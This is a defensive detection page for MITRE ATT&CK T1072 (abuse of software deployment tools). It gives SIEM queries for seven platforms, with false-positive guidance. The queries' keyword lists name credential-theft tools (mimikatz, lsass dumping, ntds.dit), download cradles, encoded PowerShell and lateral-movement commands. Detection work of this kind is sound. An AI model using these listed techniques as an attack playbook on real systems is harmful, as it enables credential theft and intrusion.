Which SIEM platforms have a T1072 detection rule?

df00tech provides T1072 (Software Deployment Tools) detection queries for 7 SIEM platforms: Microsoft Sentinel / Defender, Splunk, Elastic Security (EQL), IBM QRadar (AQL), Sumo Logic CSE, Google Chronicle / SecOps, CrowdStrike LogScale (CQL).

What data sources are required to detect Software Deployment Tools (T1072)?

Detecting Software Deployment Tools requires the following data sources: Process: Process Creation, Command: Command Execution, Microsoft Defender for Endpoint.

What severity and confidence is the T1072 detection?

The T1072 detection is rated high severity with medium confidence.

What are common false positives for T1072?

Common false positives for T1072 include: SCCM/ConfigMgr routinely spawns PowerShell and cmd.exe to execute legitimate software deployment scripts, patch management, and compliance remediation — build an allowlist of authorized script names and package GUIDs from InitiatingProcessCommandLine; BigFix (HCL) and PDQ Deploy are frequently used for IT administration tasks including software installs, configuration changes, and script execution that legitimately trigger this detection during patch cycles; Intune Management Extension (IntuneManagementExtension.exe) executes PowerShell scripts deployed by administrators for device configuration, security baseline enforcement, and application installation.

T1072

Software Deployment Tools

Execution Lateral Movement Last updated: April 13, 2026

Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications — including Microsoft SCCM/ConfigMgr, HCL BigFix, PDQ Deploy, Symantec Altiris, Microsoft Intune, Azure Arc, AWS Systems Manager (SSM), and RAdmin — are widely deployed for enterprise endpoint management. Adversaries who compromise or abuse these platforms gain the ability to execute arbitrary commands across all enrolled systems simultaneously, often running as SYSTEM or with elevated privileges. Real-world abuse includes APT32 compromising McAfee ePO for malware distribution, Sandworm Team using RemoteExec for agentless lateral movement, Medusa Group deploying ransomware payloads via BigFix and PDQ Deploy, and Threat Group-1314 abusing Altiris for network-wide propagation.

What is T1072 Software Deployment Tools?

Software Deployment Tools (T1072) maps to the Execution and Lateral Movement tactics — the adversary is trying to run malicious code in MITRE ATT&CK.

This page provides production-ready detection logic for Software Deployment Tools, covering the data sources and telemetry it touches: Process: Process Creation, Command: Command Execution, Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic: Execution Lateral Movement
Technique: T1072 Software Deployment Tools
Canonical reference: https://attack.mitre.org/techniques/T1072/

Microsoft Sentinel / Defender

kusto

let DeploymentAgents = dynamic([
    "ccmexec.exe",
    "ccmsetup.exe",
    "besclient.exe",
    "besservice.exe",
    "PDQDeployRunner.exe",
    "PDQDeploy.exe",
    "AeXNSAgent.exe",
    "AeXSWDSvc.exe",
    "IntuneManagementExtension.exe",
    "amazon-ssm-agent.exe",
    "RemoteExec.exe",
    "radmin.exe",
    "r_server.exe"
]);
let SuspiciousChildren = dynamic([
    "cmd.exe", "powershell.exe", "pwsh.exe", "wscript.exe", "cscript.exe",
    "mshta.exe", "regsvr32.exe", "rundll32.exe", "certutil.exe", "bitsadmin.exe",
    "wmic.exe", "net.exe", "net1.exe", "sc.exe", "schtasks.exe",
    "reg.exe", "whoami.exe", "nltest.exe", "at.exe"
]);
DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName has_any (DeploymentAgents)
| where FileName has_any (SuspiciousChildren)
| extend CredentialAccess = ProcessCommandLine has_any ("lsass", "procdump", "mimikatz", "sekurlsa", "comsvcs", "ntds.dit", "MiniDump")
| extend LateralMovement = ProcessCommandLine has_any ("psexec", "wmic /node", "net use", "xcopy", "robocopy", "Enter-PSSession")
| extend PersistenceAttempt = ProcessCommandLine has_any ("schtasks /create", "sc create", "reg add", "localgroup administrators", "CurrentVersion\\Run", "startup")
| extend DownloadAttempt = ProcessCommandLine has_any ("downloadstring", "downloadfile", "invoke-webrequest", "iwr ", "certutil -urlcache", "bitsadmin /transfer", "net.webclient", "Start-BitsTransfer")
| extend EncodedCmd = ProcessCommandLine has_any ("-EncodedCommand", "-enc ", "-e ", "-ec ")
| extend ReconActivity = ProcessCommandLine has_any ("whoami", "net user", "net group", "nltest", "ipconfig", "systeminfo", "netstat", "tasklist", "net localgroup")
| extend HiddenExec = ProcessCommandLine has_any ("-WindowStyle Hidden", "-w hidden", "-nop ", "-noni ")
| where CredentialAccess or LateralMovement or PersistenceAttempt or DownloadAttempt or EncodedCmd or (ReconActivity and HiddenExec)
| project Timestamp, DeviceName, AccountName,
          FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          InitiatingProcessParentFileName,
          CredentialAccess, LateralMovement, PersistenceAttempt,
          DownloadAttempt, EncodedCmd, ReconActivity, HiddenExec
| sort by Timestamp desc

Detects suspicious child processes spawned by known software deployment tool agents using Microsoft Defender for Endpoint DeviceProcessEvents. Identifies deployment agents (SCCM ccmexec.exe, BigFix besclient.exe, PDQ Deploy PDQDeployRunner.exe, Intune IntuneManagementExtension.exe, AWS SSM amazon-ssm-agent.exe, RAdmin radmin.exe, RemoteExec) launching living-off-the-land binaries with suspicious command patterns. Flags are categorized per attack phase — credential access, lateral movement, persistence, download cradles, encoded commands, and reconnaissance — to support analyst triage and prioritization.

high severity medium confidence

Data Sources

Process: Process Creation Command: Command Execution Microsoft Defender for Endpoint

Required Tables

DeviceProcessEvents

False Positives

SCCM/ConfigMgr routinely spawns PowerShell and cmd.exe to execute legitimate software deployment scripts, patch management, and compliance remediation — build an allowlist of authorized script names and package GUIDs from InitiatingProcessCommandLine
BigFix (HCL) and PDQ Deploy are frequently used for IT administration tasks including software installs, configuration changes, and script execution that legitimately trigger this detection during patch cycles
Intune Management Extension (IntuneManagementExtension.exe) executes PowerShell scripts deployed by administrators for device configuration, security baseline enforcement, and application installation
AWS Systems Manager Run Command legitimately executes shell commands on EC2 instances for patch management, inventory collection, and operational runbooks — tune by allowlisting known SSM document names
Automated patch management tools may use certutil or bitsadmin for downloading and verifying update packages from vendor CDNs
Monitoring and inventory agents (SCCM hardware inventory, BigFix relevance queries) run net.exe and systeminfo.exe on a schedule to collect asset data

Splunk

spl

index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
    (ParentImage="*\\ccmexec.exe" OR ParentImage="*\\ccmsetup.exe"
     OR ParentImage="*\\besclient.exe" OR ParentImage="*\\besservice.exe"
     OR ParentImage="*\\PDQDeployRunner.exe" OR ParentImage="*\\PDQDeploy.exe"
     OR ParentImage="*\\AeXNSAgent.exe" OR ParentImage="*\\AeXSWDSvc.exe"
     OR ParentImage="*\\IntuneManagementExtension.exe"
     OR ParentImage="*\\amazon-ssm-agent.exe"
     OR ParentImage="*\\RemoteExec.exe"
     OR ParentImage="*\\radmin.exe" OR ParentImage="*\\r_server.exe")
    (Image="*\\cmd.exe" OR Image="*\\powershell.exe" OR Image="*\\pwsh.exe"
     OR Image="*\\wscript.exe" OR Image="*\\cscript.exe" OR Image="*\\mshta.exe"
     OR Image="*\\certutil.exe" OR Image="*\\bitsadmin.exe" OR Image="*\\rundll32.exe"
     OR Image="*\\regsvr32.exe" OR Image="*\\wmic.exe" OR Image="*\\net.exe"
     OR Image="*\\net1.exe" OR Image="*\\whoami.exe" OR Image="*\\nltest.exe"
     OR Image="*\\schtasks.exe" OR Image="*\\sc.exe" OR Image="*\\reg.exe")
| eval cmd=lower(CommandLine)
| eval CredentialAccess=if(match(cmd, "(lsass|procdump|mimikatz|sekurlsa|comsvcs|ntds\.dit|minidump)"), 1, 0)
| eval LateralMovement=if(match(cmd, "(psexec|wmic\s+/node|net\s+use|xcopy|robocopy|enter-pssession)"), 1, 0)
| eval PersistenceAttempt=if(match(cmd, "(schtasks\s+/create|sc\s+create|reg\s+add.*(run|startup)|localgroup.*administrator)"), 1, 0)
| eval DownloadAttempt=if(match(cmd, "(downloadstring|downloadfile|invoke-webrequest|iwr\s|certutil.*urlcache|bitsadmin.*transfer|net\.webclient|start-bitstransfer)"), 1, 0)
| eval EncodedCmd=if(match(cmd, "(-encodedcommand|-enc\s|-e\s|-ec\s)"), 1, 0)
| eval ReconActivity=if(match(cmd, "(whoami|net\s+user|net\s+group|nltest|ipconfig|systeminfo|netstat|tasklist|net\s+localgroup)"), 1, 0)
| eval HiddenExec=if(match(cmd, "(-windowstyle\s+hidden|-w\s+hidden|-nop\s|-noni\s)"), 1, 0)
| eval RiskScore=CredentialAccess*5 + LateralMovement*4 + PersistenceAttempt*4 + DownloadAttempt*3 + EncodedCmd*2 + (ReconActivity * HiddenExec)*3 + ReconActivity*1
| where RiskScore > 0
| table _time, host, User, Image, CommandLine, ParentImage, ParentCommandLine, CredentialAccess, LateralMovement, PersistenceAttempt, DownloadAttempt, EncodedCmd, ReconActivity, HiddenExec, RiskScore
| sort - RiskScore, - _time

Detects suspicious commands executed by software deployment tool agent processes using Sysmon Event ID 1 (Process Creation). Identifies known deployment agents as parent processes spawning living-off-the-land binaries with malicious command patterns. Assigns weighted risk scores per attack category: credential access (5), lateral movement (4), persistence attempts (4), download cradles (3), encoded commands (2), stealthy reconnaissance (3), and general recon (1). Alerts with RiskScore >= 4 warrant immediate investigation; high-confidence detections typically score 5+.

high severity medium confidence

Data Sources

Process: Process Creation Command: Command Execution Sysmon Event ID 1

Required Sourcetypes

XmlWinEventLog:Microsoft-Windows-Sysmon/Operational

False Positives

SCCM deployment scripts legitimately spawn PowerShell and cmd.exe — tune by allowlisting known-good ParentCommandLine patterns associated with authorized package GUIDs
BigFix and PDQ Deploy administrative tasks frequently trigger this detection during patch cycles; suppress during scheduled maintenance windows using a lookup table of authorized job IDs
Intune PowerShell scripts deployed by administrators appear as IntuneManagementExtension.exe spawning PowerShell with -ExecutionPolicy Bypass, which is a built-in Intune behavior
AWS SSM Run Command on Windows EC2 instances appears as amazon-ssm-agent.exe spawning cmd.exe or PowerShell for authorized runbook execution
Automated patch management tools use certutil and bitsadmin for update package verification, triggering DownloadAttempt flags on patch Tuesdays
Inventory scans using net.exe commands trigger ReconActivity — correlate against scheduled maintenance windows and approved scan job timers

Elastic Security (EQL)

eql

process where event.type == "start"
  and process.parent.name in~ (
    "ccmexec.exe", "ccmsetup.exe", "besclient.exe", "besservice.exe",
    "pdqdeployrunner.exe", "pdqdeploy.exe", "aexnsagent.exe", "aexswdsvc.exe",
    "intunemanagementextension.exe", "amazon-ssm-agent.exe",
    "remoteexec.exe", "radmin.exe", "r_server.exe"
  )
  and process.name in~ (
    "cmd.exe", "powershell.exe", "pwsh.exe", "wscript.exe", "cscript.exe",
    "mshta.exe", "regsvr32.exe", "rundll32.exe", "certutil.exe", "bitsadmin.exe",
    "wmic.exe", "net.exe", "net1.exe", "sc.exe", "schtasks.exe",
    "reg.exe", "whoami.exe", "nltest.exe", "at.exe"
  )
  and (
    process.command_line like~ ("*lsass*", "*procdump*", "*mimikatz*", "*sekurlsa*", "*comsvcs*", "*ntds.dit*", "*minidump*")
    or process.command_line like~ ("*psexec*", "*wmic /node*", "*net use *", "*xcopy*", "*robocopy*", "*enter-pssession*")
    or process.command_line like~ ("*schtasks /create*", "*sc create*", "*reg add*", "*localgroup administrators*", "*CurrentVersion\\Run*")
    or process.command_line like~ ("*downloadstring*", "*downloadfile*", "*invoke-webrequest*", "*iwr *", "*certutil -urlcache*", "*bitsadmin /transfer*", "*net.webclient*", "*start-bitstransfer*")
    or process.command_line like~ ("*-encodedcommand*", "*-enc *", "*-ec *")
    or (
      process.command_line like~ ("*whoami*", "*net user*", "*net group*", "*nltest*", "*ipconfig*", "*systeminfo*", "*netstat*", "*tasklist*")
      and process.command_line like~ ("*-windowstyle hidden*", "*-w hidden*", "*-nop *", "*-noni *")
    )
  )

Detects living-off-the-land binaries and interpreter processes spawned as children of known software deployment agents (SCCM, BigFix, PDQ Deploy, Intune, AWS SSM, RAdmin). Matches on command-line indicators covering credential access, lateral movement, persistence, payload download, encoded execution, and recon combined with stealth flags — mirroring the logic of the reference KQL/SPL for T1072.

high severity high confidence

Data Sources

Elastic Endpoint Security agent (process telemetry) Windows Sysmon via Elastic Agent or Winlogbeat Auditbeat (Linux, if deployment agents run cross-platform)

Required Tables

logs-endpoint.events.process-* winlogbeat-* .ds-logs-system.security-*

False Positives

SCCM or Intune software deployment tasks that legitimately invoke PowerShell with -EncodedCommand to handle complex multi-line scripts packaged for transport in MDM payloads
BigFix fixlets running net.exe, sc.exe, or reg.exe to enforce OS baseline configuration (service hardening, local group membership, registry policy) as part of scheduled remediation
PDQ Deploy jobs that use certutil.exe or bitsadmin.exe to fetch installation packages from internal distribution servers during authorized software rollouts

IBM QRadar (AQL)

sql

SELECT
  DATEFORMAT(devicetime, 'yyyy-MM-dd HH:mm:ss') AS "Event Time",
  LOGSOURCENAME(logsourceid) AS "Log Source",
  username AS "User",
  "Process Image" AS "Child Process",
  "Parent Image" AS "Parent Process",
  "CommandLine" AS "Command Line",
  "Parent CommandLine" AS "Parent Command Line",
  CASE WHEN LOWER("CommandLine") LIKE '%lsass%'
            OR LOWER("CommandLine") LIKE '%procdump%'
            OR LOWER("CommandLine") LIKE '%mimikatz%'
            OR LOWER("CommandLine") LIKE '%sekurlsa%'
            OR LOWER("CommandLine") LIKE '%comsvcs%'
            OR LOWER("CommandLine") LIKE '%ntds.dit%'
            OR LOWER("CommandLine") LIKE '%minidump%'
       THEN 'YES' ELSE 'NO' END AS "CredentialAccess",
  CASE WHEN LOWER("CommandLine") LIKE '%psexec%'
            OR LOWER("CommandLine") LIKE '%wmic /node%'
            OR LOWER("CommandLine") LIKE '%net use %'
            OR LOWER("CommandLine") LIKE '%xcopy%'
            OR LOWER("CommandLine") LIKE '%robocopy%'
            OR LOWER("CommandLine") LIKE '%enter-pssession%'
       THEN 'YES' ELSE 'NO' END AS "LateralMovement",
  CASE WHEN LOWER("CommandLine") LIKE '%schtasks /create%'
            OR LOWER("CommandLine") LIKE '%sc create%'
            OR LOWER("CommandLine") LIKE '%reg add%'
            OR LOWER("CommandLine") LIKE '%localgroup%administrator%'
            OR LOWER("CommandLine") LIKE '%currentversion%run%'
       THEN 'YES' ELSE 'NO' END AS "PersistenceAttempt",
  CASE WHEN LOWER("CommandLine") LIKE '%downloadstring%'
            OR LOWER("CommandLine") LIKE '%downloadfile%'
            OR LOWER("CommandLine") LIKE '%invoke-webrequest%'
            OR LOWER("CommandLine") LIKE '%certutil -urlcache%'
            OR LOWER("CommandLine") LIKE '%bitsadmin /transfer%'
            OR LOWER("CommandLine") LIKE '%net.webclient%'
            OR LOWER("CommandLine") LIKE '%start-bitstransfer%'
       THEN 'YES' ELSE 'NO' END AS "DownloadAttempt",
  CASE WHEN LOWER("CommandLine") LIKE '%-encodedcommand%'
            OR LOWER("CommandLine") LIKE '%-enc %'
            OR LOWER("CommandLine") LIKE '%-ec %'
       THEN 'YES' ELSE 'NO' END AS "EncodedCmd"
FROM events
WHERE
  LOGSOURCETYPENAME(devicetype) ILIKE '%Sysmon%'
  AND QIDNAME(qid) ILIKE '%Process Create%'
  AND LAST 1 DAYS
  AND (
    "Parent Image" ILIKE '%\\ccmexec.exe'
    OR "Parent Image" ILIKE '%\\ccmsetup.exe'
    OR "Parent Image" ILIKE '%\\besclient.exe'
    OR "Parent Image" ILIKE '%\\besservice.exe'
    OR "Parent Image" ILIKE '%\\PDQDeployRunner.exe'
    OR "Parent Image" ILIKE '%\\PDQDeploy.exe'
    OR "Parent Image" ILIKE '%\\AeXNSAgent.exe'
    OR "Parent Image" ILIKE '%\\AeXSWDSvc.exe'
    OR "Parent Image" ILIKE '%\\IntuneManagementExtension.exe'
    OR "Parent Image" ILIKE '%\\amazon-ssm-agent.exe'
    OR "Parent Image" ILIKE '%\\RemoteExec.exe'
    OR "Parent Image" ILIKE '%\\radmin.exe'
    OR "Parent Image" ILIKE '%\\r_server.exe'
  )
  AND (
    "Process Image" ILIKE '%\\cmd.exe'
    OR "Process Image" ILIKE '%\\powershell.exe'
    OR "Process Image" ILIKE '%\\pwsh.exe'
    OR "Process Image" ILIKE '%\\wscript.exe'
    OR "Process Image" ILIKE '%\\cscript.exe'
    OR "Process Image" ILIKE '%\\mshta.exe'
    OR "Process Image" ILIKE '%\\certutil.exe'
    OR "Process Image" ILIKE '%\\bitsadmin.exe'
    OR "Process Image" ILIKE '%\\rundll32.exe'
    OR "Process Image" ILIKE '%\\regsvr32.exe'
    OR "Process Image" ILIKE '%\\wmic.exe'
    OR "Process Image" ILIKE '%\\net.exe'
    OR "Process Image" ILIKE '%\\net1.exe'
    OR "Process Image" ILIKE '%\\whoami.exe'
    OR "Process Image" ILIKE '%\\nltest.exe'
    OR "Process Image" ILIKE '%\\schtasks.exe'
    OR "Process Image" ILIKE '%\\sc.exe'
    OR "Process Image" ILIKE '%\\reg.exe'
  )
  AND (
    LOWER("CommandLine") LIKE '%lsass%'
    OR LOWER("CommandLine") LIKE '%procdump%'
    OR LOWER("CommandLine") LIKE '%mimikatz%'
    OR LOWER("CommandLine") LIKE '%sekurlsa%'
    OR LOWER("CommandLine") LIKE '%comsvcs%'
    OR LOWER("CommandLine") LIKE '%ntds.dit%'
    OR LOWER("CommandLine") LIKE '%psexec%'
    OR LOWER("CommandLine") LIKE '%wmic /node%'
    OR LOWER("CommandLine") LIKE '%schtasks /create%'
    OR LOWER("CommandLine") LIKE '%sc create%'
    OR LOWER("CommandLine") LIKE '%reg add%'
    OR LOWER("CommandLine") LIKE '%downloadstring%'
    OR LOWER("CommandLine") LIKE '%invoke-webrequest%'
    OR LOWER("CommandLine") LIKE '%certutil -urlcache%'
    OR LOWER("CommandLine") LIKE '%bitsadmin /transfer%'
    OR LOWER("CommandLine") LIKE '%net.webclient%'
    OR LOWER("CommandLine") LIKE '%-encodedcommand%'
    OR LOWER("CommandLine") LIKE '%-enc %'
    OR LOWER("CommandLine") LIKE '%-ec %'
    OR (LOWER("CommandLine") LIKE '%whoami%' AND LOWER("CommandLine") LIKE '%-nop %')
    OR (LOWER("CommandLine") LIKE '%systeminfo%' AND LOWER("CommandLine") LIKE '%-windowstyle hidden%')
  )
ORDER BY devicetime DESC

IBM QRadar AQL query against Sysmon Process Create events (QID mapped to EventCode 1). Joins parent and child process image fields from QRadar Sysmon DSM custom properties, then filters on command-line indicators matching credential access, lateral movement, persistence, download, and encoded-execution categories. CASE expressions annotate each category inline for analyst triage. Requires QRadar Sysmon DSM with custom properties 'Parent Image', 'Process Image', and 'CommandLine' parsed from the Sysmon XML payload.

high severity medium confidence

Data Sources

IBM QRadar SIEM Microsoft Windows Sysmon DSM (QRadar) Windows Security Event Log DSM (QRadar)

Required Tables

events

False Positives

SCCM task sequences that invoke PowerShell with -EncodedCommand or -enc for deploying complex application scripts, which triggers the EncodedCmd indicator with no malicious intent
BigFix actions using net.exe or sc.exe to enforce OS baseline policies such as disabling services or managing local administrator group membership during scheduled fixlet runs
PDQ Deploy packages that download installation files via bitsadmin or certutil from internal WSUS or software distribution servers as part of authorized enterprise deployments

Sumo Logic CSE

sql

_sourceCategory=*/windows/sysmon (EventCode=1 OR EventID=1)
| parse regex "(?i)<Data Name='ParentImage'>(?P<ParentImage>[^<]+)</Data>" nodrop
| parse regex "(?i)<Data Name='Image'>(?P<Image>[^<]+)</Data>" nodrop
| parse regex "(?i)<Data Name='CommandLine'>(?P<CommandLine>[^<]+)</Data>" nodrop
| parse regex "(?i)<Data Name='ParentCommandLine'>(?P<ParentCommandLine>[^<]+)</Data>" nodrop
| parse regex "(?i)<Data Name='User'>(?P<User>[^<]+)</Data>" nodrop
| where ParentImage =~ "(?i).*(ccmexec|ccmsetup|besclient|besservice|PDQDeployRunner|PDQDeploy|AeXNSAgent|AeXSWDSvc|IntuneManagementExtension|amazon-ssm-agent|RemoteExec|radmin|r_server)\\.exe$"
| where Image =~ "(?i).*\\\\(cmd|powershell|pwsh|wscript|cscript|mshta|regsvr32|rundll32|certutil|bitsadmin|wmic|net|net1|sc|schtasks|reg|whoami|nltest|at)\\.exe$"
| toLowerCase(CommandLine) as cmd
| if(cmd =~ ".*(lsass|procdump|mimikatz|sekurlsa|comsvcs|ntds\\.dit|minidump).*", 1, 0) as CredentialAccess
| if(cmd =~ ".*(psexec|wmic /node|net use |xcopy|robocopy|enter-pssession).*", 1, 0) as LateralMovement
| if(cmd =~ ".*(schtasks /create|sc create|reg add|localgroup.*administrator|currentversion.run).*", 1, 0) as PersistenceAttempt
| if(cmd =~ ".*(downloadstring|downloadfile|invoke-webrequest|iwr |certutil.*urlcache|bitsadmin.*transfer|net\\.webclient|start-bitstransfer).*", 1, 0) as DownloadAttempt
| if(cmd =~ ".*(-encodedcommand|-enc |-e |-ec ).*", 1, 0) as EncodedCmd
| if(cmd =~ ".*(whoami|net user|net group|nltest|ipconfig|systeminfo|netstat|tasklist).*", 1, 0) as ReconActivity
| if(cmd =~ ".*(-windowstyle hidden|-w hidden|-nop |-noni ).*", 1, 0) as HiddenExec
| (CredentialAccess*5 + LateralMovement*4 + PersistenceAttempt*4 + DownloadAttempt*3 + EncodedCmd*2 + ReconActivity*HiddenExec*3 + ReconActivity) as RiskScore
| where RiskScore > 0
| fields _messageTime, _sourceHost, User, Image, CommandLine, ParentImage, ParentCommandLine, CredentialAccess, LateralMovement, PersistenceAttempt, DownloadAttempt, EncodedCmd, ReconActivity, HiddenExec, RiskScore
| sort by RiskScore, _messageTime

Sumo Logic search query parsing Sysmon EventCode 1 (Process Create) XML payloads collected via Installed Collector on Windows endpoints. Extracts parent process, child process, command line, and user via named regex capture groups. Applies the same weighted risk scoring model as the reference SPL query across six behavioral categories. Events with RiskScore > 0 are surfaced for analyst triage.

high severity high confidence

Data Sources

Sumo Logic Installed Collector (Windows Sysmon Operational log) Sumo Logic Cloud SIEM Enterprise (normalized process events) Sumo Logic OpenTelemetry Collector (hostmetrics + windows events)

Required Tables

_sourceCategory=*/windows/sysmon

False Positives

Intune Management Extension running PowerShell scripts signed and encoded in base64 for Win32 application deployment packages submitted through Endpoint Manager
AWS SSM Run Command documents executing shell commands for fleet-wide instance configuration, patching workflows, or compliance baseline enforcement via ssm-agent
SCCM software center deployments invoking net.exe or sc.exe to configure service accounts, prerequisites, or local group memberships as part of approved application installation sequences

Google Chronicle / SecOps

yaral

rule t1072_deployment_tool_suspicious_child_process {
  meta:
    author = "Detection Engineering"
    description = "Detects suspicious LOLBin or interpreter processes spawned by software deployment agents, indicating T1072 abuse for execution or lateral movement"
    mitre_attack_tactic = "Lateral Movement, Execution"
    mitre_attack_technique = "T1072"
    severity = "HIGH"
    confidence = "HIGH"
    rule_version = "1.0"
    created = "2025-01-01"

  events:
    $e.metadata.event_type = "PROCESS_LAUNCH"
    re.regex($e.principal.process.file.full_path,
      `(?i)(ccmexec\.exe|ccmsetup\.exe|besclient\.exe|besservice\.exe|PDQDeployRunner\.exe|PDQDeploy\.exe|AeXNSAgent\.exe|AeXSWDSvc\.exe|IntuneManagementExtension\.exe|amazon-ssm-agent\.exe|RemoteExec\.exe|radmin\.exe|r_server\.exe)$`)
    re.regex($e.target.process.file.full_path,
      `(?i)(\\cmd\.exe|\\powershell\.exe|\\pwsh\.exe|\\wscript\.exe|\\cscript\.exe|\\mshta\.exe|\\regsvr32\.exe|\\rundll32\.exe|\\certutil\.exe|\\bitsadmin\.exe|\\wmic\.exe|\\net\.exe|\\net1\.exe|\\sc\.exe|\\schtasks\.exe|\\reg\.exe|\\whoami\.exe|\\nltest\.exe|\\at\.exe)$`)
    (
      re.regex($e.target.process.command_line,
        `(?i)(lsass|procdump|mimikatz|sekurlsa|comsvcs|ntds\.dit|minidump|psexec|wmic\s+/node|net\s+use\s|xcopy|robocopy|enter-pssession)`) or
      re.regex($e.target.process.command_line,
        `(?i)(schtasks\s+/create|sc\s+create|reg\s+add|localgroup.*administrator|currentversion.run)`) or
      re.regex($e.target.process.command_line,
        `(?i)(downloadstring|downloadfile|invoke-webrequest|iwr\s|certutil.*urlcache|bitsadmin.*transfer|net\.webclient|start-bitstransfer)`) or
      re.regex($e.target.process.command_line,
        `(?i)(-encodedcommand|-enc\s|-ec\s)`) or
      (
        re.regex($e.target.process.command_line,
          `(?i)(whoami|net\s+user|net\s+group|nltest|ipconfig|systeminfo|netstat|tasklist)`) and
        re.regex($e.target.process.command_line,
          `(?i)(-windowstyle\s+hidden|-w\s+hidden|-nop\s|-noni\s)`)
      )
    )

  condition:
    $e
}

Chronicle YARA-L 2.0 rule matching UDM PROCESS_LAUNCH events where the principal (parent) process path ends in a known software deployment agent filename and the target (child) process is a LOLBin or interpreter. Command-line patterns cover all six attack categories from the reference queries: credential access, lateral movement, persistence, payload download, encoded execution, and stealthy recon. Uses backtick raw strings for regex to avoid double-escaping.

high severity high confidence

Data Sources

Google Chronicle SIEM Chronicle Forwarder collecting Windows Sysmon events Chronicle UDM normalized process telemetry from EDR integrations

Required Tables

UDM Events (metadata.event_type = PROCESS_LAUNCH)

False Positives

Legitimate SCCM task sequences deploying software that calls PowerShell with base64-encoded scripts, triggering the -encodedcommand or -enc regex branches
Intune Management Extension running Win32 app install scripts that call net.exe or reg.exe to configure application prerequisites on managed endpoints
PDQ Deploy tasks that invoke whoami.exe or systeminfo.exe within silent PowerShell wrappers for pre-installation compatibility checking, matching the ReconActivity and HiddenExec combination

CrowdStrike LogScale (CQL)

cql

#event_simpleName=ProcessRollup2
| regex("(?i)(ccmexec\.exe|ccmsetup\.exe|besclient\.exe|besservice\.exe|PDQDeployRunner\.exe|PDQDeploy\.exe|AeXNSAgent\.exe|AeXSWDSvc\.exe|IntuneManagementExtension\.exe|amazon-ssm-agent\.exe|RemoteExec\.exe|radmin\.exe|r_server\.exe)$", field=ParentBaseFileName)
| regex("(?i)(\\\\cmd\.exe|\\\\powershell\.exe|\\\\pwsh\.exe|\\\\wscript\.exe|\\\\cscript\.exe|\\\\mshta\.exe|\\\\regsvr32\.exe|\\\\rundll32\.exe|\\\\certutil\.exe|\\\\bitsadmin\.exe|\\\\wmic\.exe|\\\\net\.exe|\\\\net1\.exe|\\\\sc\.exe|\\\\schtasks\.exe|\\\\reg\.exe|\\\\whoami\.exe|\\\\nltest\.exe|\\\\at\.exe)$", field=ImageFileName)
| CredentialAccess := if(regex("(?i)(lsass|procdump|mimikatz|sekurlsa|comsvcs|ntds\.dit|minidump)", field=CommandLine), 1, 0)
| LateralMovement := if(regex("(?i)(psexec|wmic\\s+/node|net\\s+use\\s|xcopy|robocopy|enter-pssession)", field=CommandLine), 1, 0)
| PersistenceAttempt := if(regex("(?i)(schtasks\\s+/create|sc\\s+create|reg\\s+add|localgroup.*administrator|currentversion.run)", field=CommandLine), 1, 0)
| DownloadAttempt := if(regex("(?i)(downloadstring|downloadfile|invoke-webrequest|iwr\\s|certutil.*urlcache|bitsadmin.*transfer|net\.webclient|start-bitstransfer)", field=CommandLine), 1, 0)
| EncodedCmd := if(regex("(?i)(-encodedcommand|-enc\\s+|-ec\\s+)", field=CommandLine), 1, 0)
| ReconActivity := if(regex("(?i)(whoami|net\\s+user|net\\s+group|nltest|ipconfig|systeminfo|netstat|tasklist)", field=CommandLine), 1, 0)
| HiddenExec := if(regex("(?i)(-windowstyle\\s+hidden|-w\\s+hidden|-nop\\s|-noni\\s)", field=CommandLine), 1, 0)
| RiskScore := CredentialAccess*5 + LateralMovement*4 + PersistenceAttempt*4 + DownloadAttempt*3 + EncodedCmd*2 + ReconActivity*HiddenExec*3 + ReconActivity
| where(RiskScore > 0)
| table([timestamp, ComputerName, UserPrincipalName, ImageFileName, CommandLine, ParentBaseFileName, CredentialAccess, LateralMovement, PersistenceAttempt, DownloadAttempt, EncodedCmd, ReconActivity, HiddenExec, RiskScore], sortby=timestamp, order=desc, limit=500)

CrowdStrike LogScale (Falcon/Humio) query targeting ProcessRollup2 events where Falcon telemetry records a deployment agent as parent (matched via ParentBaseFileName) and a LOLBin as child (matched via full ImageFileName path). Applies the same six-category weighted risk scoring as the reference SPL. Uses LogScale regex() function for pattern matching and if() for numeric flag assignment. RiskScore > 0 filter surfaces any matching suspicious behavior for analyst review.

high severity high confidence

Data Sources

CrowdStrike Falcon EDR (Falcon sensor process telemetry) CrowdStrike LogScale / Humio SIEM CrowdStrike Falcon Data Replicator (FDR)

Required Tables

#event_simpleName=ProcessRollup2

False Positives

CrowdStrike Falcon sensor observing SCCM or Intune agents running PowerShell with -EncodedCommand for legitimate MDM-deployed application installation scripts that are encoded for size or special character handling
AWS SSM Agent (amazon-ssm-agent.exe) executing Run Command documents or State Manager associations that invoke powershell.exe or cmd.exe for instance baseline configuration and patching workflows
IT support staff using RAdmin (radmin.exe or r_server.exe) for authorized remote administration sessions where administrative tools like whoami.exe or net.exe are run interactively during troubleshooting

Sigma rule & cross-platform mapping

The detection logic for Software Deployment Tools (T1072) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for T1072 Sigma rules on detection.fyi

Platform-specific guides for T1072

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)

Last updated: 2026-04-13 Research depth: deep

References (9)

Testing Methodology

Validate this detection against 5 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

Test 1Simulate Malicious Reconnaissance via Deployment Tool Child Process
